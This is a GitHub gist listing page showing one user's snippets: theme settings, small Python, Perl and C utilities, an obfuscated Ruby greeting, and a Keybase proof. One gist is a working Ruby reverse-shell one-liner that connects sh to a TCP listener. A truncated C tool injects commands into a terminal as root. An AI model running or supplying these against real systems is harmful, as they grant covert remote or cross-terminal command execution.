Skip to content

Instantly share code, notes, and snippets.

View xfgusta's full-sized avatar
⚔️
We slayed the dragon!

Gustavo Costa xfgusta

⚔️
We slayed the dragon!
View GitHub Profile
{
id: 'gruvbox-dark',
name: 'Gruvbox (Dark)',
highlights: {
background: '#282828',
text: '#ebdbb2',
variable: '#83a598',
attribute: '#8ec07c',
definition: '#fabd2f',
keyword: '#fb4934',
@xfgusta
xfgusta / vproc.py
Created October 12, 2021 18:36
View process information
#!/usr/bin/python
import sys
import argparse
import os
QUIET = False
def main():
args = argparser()
#!/usr/bin/perl
use v5.16;
say sub {$_[0] ? $_[0] * __SUB__->($_[0] - 1) : 1}->($ARGV[0]);
# te amo ♥
->(_){$><<"\u{2665}"<<$/}[->(_){$><<(_.ord-$/.ord).chr<<%% %<<?a<<(_.ord.-$>.to_i.next).chr;(_<<(1<<5).chr).display}[->(_){$"[$>.to_i].bytes[-9].chr.display;_}[(($/.ord.*($/.ord)|eval(?1))+$/.ord).chr]]]

Keybase proof

I hereby claim:

  • I am xfgusta on github.
  • I am xfgusta (https://keybase.io/xfgusta) on keybase.
  • I have a public key whose fingerprint is 3DF8 6806 78F5 347D 9113 EAF7 0A74 849D 4144 3F86

To claim this, I am signing this object:

#!/usr/bin/python
from PIL import Image
from sys import argv, stderr
from os import get_terminal_size
if len(argv) != 2:
print(f'Usage: {argv[0]} <img>', file=stderr)
exit(1)
@xfgusta
xfgusta / rbrev
Last active April 9, 2021 05:41
Ruby reverse shell
ruby -rsocket -e'spawn("sh",[0,1,2]=>TCPSocket.new("127.0.0.1",1337))'
@xfgusta
xfgusta / sum.c
Last active January 17, 2021 21:13
Variadic function in C without stdarg header (gcc, linux x86_64)
#include <stdio.h>
int sum(int n, ...);
int main(void) {
printf("sum(5, 5) = %d\n", sum(2, 5, 5));
printf("sum(10, 20, 30, 40, 50) = %d\n", sum(5, 10, 20, 30, 40, 50));
printf("sum(9, 8, 7, 6, 5, 4, 3, 2, 1) = %d\n", sum(9, 9, 8, 7, 6, 5, 4, 3, 2, 1));
return 0;
}
#include <stdio.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <fcntl.h>
int main(int argc, char **argv) {
if(argc != 3 || getuid()) {
fprintf(stderr, "Run '%s <fd> <cmd>' as root\n", argv[0]);
return 1;
}